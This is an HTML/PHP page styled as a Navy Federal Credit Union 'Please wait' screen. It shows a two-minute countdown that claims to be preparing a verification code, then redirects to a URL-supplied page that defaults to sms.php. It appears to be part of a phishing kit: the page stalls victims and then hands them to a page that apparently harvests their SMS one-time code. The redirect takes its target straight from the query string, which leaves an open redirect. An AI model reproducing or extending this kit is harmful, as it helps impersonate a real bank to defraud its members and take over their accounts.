<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=EB+Garamond:wght@400;500&family=Work+Sans:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Navy Federal — Please Wait</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --navy:         #002664;
            --navy-mid:     #003080;
            --navy-light:   rgba(0, 38, 100, 0.07);
            --gold:         #c49a22;
            --gold-bright:  #e8b830;
            --gold-soft:    rgba(196, 154, 34, 0.1);
            --text-primary: #001040;
            --text-secondary: #2a3f6e;
            --text-muted:   #7a8fb8;
            --border:       #cdd8ec;
            --bg:           #f2f5fb;
            --white:        #ffffff;
        }

        html, body { height: 100%; font-family: 'Work Sans', sans-serif; background: var(--bg); }

        body {
            display: grid;
            grid-template-columns: 1fr 1fr;
            min-height: 100vh;
            overflow: hidden;
        }

        /* ── Left panel ── */
        .panel-left {
            background: var(--navy);
            position: relative;
            display: flex;
            flex-direction: column;
            justify-content: flex-end;
            padding: 52px 56px;
            overflow: hidden;
        }
        .panel-left::before {
            content: '';
            position: absolute; inset: 0;
            background:
                radial-gradient(ellipse 60% 50% at 10% 90%, rgba(196,154,34,0.22) 0%, transparent 65%),
                radial-gradient(ellipse 40% 35% at 85% 10%, rgba(196,154,34,0.08) 0%, transparent 60%);
            pointer-events: none;
        }

        .panel-bg { position: absolute; inset: 0; overflow: hidden; opacity: 0.06; }
        .panel-bg svg { width: 100%; height: 100%; }

        .panel-dots {
            position: absolute; top: 52px; left: 56px;
            display: flex; gap: 8px; z-index: 1;
        }
        .panel-dots span {
            width: 8px; height: 8px; border-radius: 50%;
            background: rgba(255,255,255,0.12);
        }
        .panel-dots span:first-child { background: var(--gold-bright); }

        .panel-tagline { position: relative; z-index: 1; }
        .panel-tagline .eyebrow {
            font-size: 11px; font-weight: 500;
            letter-spacing: 0.22em; text-transform: uppercase;
            color: var(--gold-bright); margin-bottom: 18px;
        }
        .panel-tagline h2 {
            font-family: 'EB Garamond', serif;
            font-size: clamp(26px, 2.8vw, 42px);
            font-weight: 400; line-height: 1.25;
            color: #fff; margin-bottom: 22px;
        }
        .panel-tagline p {
            font-size: 14px; font-weight: 300;
            color: rgba(255,255,255,0.45);
            line-height: 1.75; max-width: 310px;
        }

        /* ── Right panel ── */
        .panel-right {
            display: flex; flex-direction: column;
            justify-content: center; align-items: center;
            padding: 60px 40px;
            background: var(--white); overflow-y: auto;
        }

        .wait-card {
            width: 100%; max-width: 390px;
            text-align: center;
            animation: fadeUp 0.55s ease both;
        }

        @keyframes fadeUp {
            from { opacity: 0; transform: translateY(16px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        .form-logo { margin-bottom: 40px; text-align: left; }
        .form-logo img { height: 46px; width: auto; object-fit: contain; display: block; }

        /* ── Ring timer ── */
        .ring-wrap {
            position: relative;
            width: 120px; height: 120px;
            margin: 0 auto 32px;
        }
        .ring-wrap svg { width: 120px; height: 120px; transform: rotate(-90deg); }
        .ring-track { fill: none; stroke: var(--border); stroke-width: 5; }
        .ring-progress {
            fill: none;
            stroke: var(--gold);
            stroke-width: 5;
            stroke-linecap: round;
            stroke-dasharray: 326.7;
            stroke-dashoffset: 0;
            transition: stroke-dashoffset 1s linear;
        }
        .ring-label {
            position: absolute; inset: 0;
            display: flex; flex-direction: column;
            align-items: center; justify-content: center;
        }
        .ring-time {
            font-family: 'EB Garamond', serif;
            font-size: 28px; font-weight: 400;
            color: var(--text-primary); line-height: 1;
        }
        .ring-unit {
            font-size: 11px; color: var(--text-muted);
            margin-top: 3px; letter-spacing: 0.06em;
        }

        .wait-heading h1 {
            font-family: 'EB Garamond', serif;
            font-size: 26px; font-weight: 500;
            color: var(--text-primary); margin-bottom: 10px;
        }
        .wait-heading p {
            font-size: 14px; color: var(--text-muted);
            font-weight: 300; line-height: 1.7;
            max-width: 300px; margin: 0 auto;
        }

        /* ── Progress dots ── */
        .progress-dots {
            display: flex; justify-content: center;
            gap: 6px; margin: 28px 0;
        }
        .progress-dots span {
            width: 7px; height: 7px; border-radius: 50%;
            background: var(--border); transition: background 0.4s;
        }
        .progress-dots span.lit { background: var(--gold); }

        /* ── Info badge ── */
        .info-badge {
            display: inline-flex; align-items: center; gap: 8px;
            background: var(--gold-soft);
            border: 1px solid rgba(196,154,34,0.25);
            border-radius: 6px; padding: 10px 16px;
            font-size: 12.5px; color: var(--navy); font-weight: 400;
        }
        .info-badge svg { color: var(--gold); flex-shrink: 0; }

        .gold-rule {
            height: 1px;
            background: linear-gradient(90deg, var(--gold), rgba(196,154,34,0.15));
            margin-top: 28px;
        }

        /* ── Responsive ── */
        @media (max-width: 768px) {
            body { grid-template-columns: 1fr; overflow: auto; }
            .panel-left { display: none; }
            .panel-right { min-height: 100vh; padding: 48px 28px; }
        }
    </style>
</head>
<body>

<div class="panel-left">
    <div class="panel-dots"><span></span><span></span><span></span></div>
    <div class="panel-bg">
        <svg viewBox="0 0 600 800" preserveAspectRatio="xMidYMid slice" xmlns="http://www.w3.org/2000/svg">
            <path d="M0,200 Q150,160 300,200 Q450,240 600,200" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,240 Q150,200 300,240 Q450,280 600,240" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,280 Q150,240 300,280 Q450,320 600,280" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,440 Q150,400 300,440 Q450,480 600,440" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,480 Q150,440 300,480 Q450,520 600,480" fill="none" stroke="white" stroke-width="1"/>
            <path d="M0,520 Q150,480 300,520 Q450,560 600,520" fill="none" stroke="white" stroke-width="1"/>
            <circle cx="100" cy="100" r="2" fill="white"/><circle cx="240" cy="110" r="2" fill="white"/>
            <circle cx="380" cy="70"  r="1.5" fill="white"/><circle cx="540" cy="85" r="1.5" fill="white"/>
            <circle cx="80"  cy="650" r="2" fill="white"/><circle cx="320" cy="650" r="2" fill="white"/>
            <circle cx="560" cy="645" r="2" fill="white"/>
        </svg>
    </div>
    <div class="panel-tagline">
        <div class="eyebrow">Secure Processing</div>
        <h2>Almost there.<br>Just a moment.</h2>
        <p>We're preparing your verification code while keeping your account fully protected.</p>
    </div>
</div>

<div class="panel-right">
    <div class="wait-card">
        <div class="form-logo">
            <img src="res/img/logo.svg" alt="Navy Federal Credit Union Logo">
        </div>

        <div class="ring-wrap">
            <svg viewBox="0 0 110 110" xmlns="http://www.w3.org/2000/svg">
                <circle class="ring-track" cx="55" cy="55" r="52"/>
                <circle class="ring-progress" id="ring" cx="55" cy="55" r="52"/>
            </svg>
            <div class="ring-label">
                <div class="ring-time" id="timer-display">2:00</div>
                <div class="ring-unit">remaining</div>
            </div>
        </div>

        <div class="wait-heading">
            <h1>Processing your information</h1>
            <p>Please wait up to 2 minutes while we securely process your request.</p>
        </div>

        <div class="progress-dots">
            <span id="d0"></span><span id="d1"></span><span id="d2"></span>
            <span id="d3"></span><span id="d4"></span>
        </div>

        <div class="info-badge">
            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                <circle cx="12" cy="12" r="10"/>
                <line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/>
            </svg>
            Do not close or refresh this page
        </div>

        <div class="gold-rule"></div>
    </div>
</div>

<script>
    var next = "<?php echo htmlspecialchars($_GET['next'] ?? 'sms.php', ENT_QUOTES); ?>";

    const TOTAL = 120;
    let remaining = TOTAL;
    const display       = document.getElementById('timer-display');
    const ring          = document.getElementById('ring');
    const CIRCUMFERENCE = 2 * Math.PI * 52;
    const dots          = [0,1,2,3,4].map(i => document.getElementById('d' + i));

    function update() {
        const m = Math.floor(remaining / 60);
        const s = remaining % 60;
        display.textContent = m + ':' + String(s).padStart(2, '0');
        ring.style.strokeDashoffset = CIRCUMFERENCE * (1 - remaining / TOTAL);
        const lit = Math.floor(((TOTAL - remaining) / TOTAL) * dots.length);
        dots.forEach((d, i) => d.classList.toggle('lit', i <= lit));
        if (remaining <= 0) { clearInterval(timer); window.location = next; }
        else remaining--;
    }

    update();
    const timer = setInterval(update, 1000);
</script>
</body>
</html>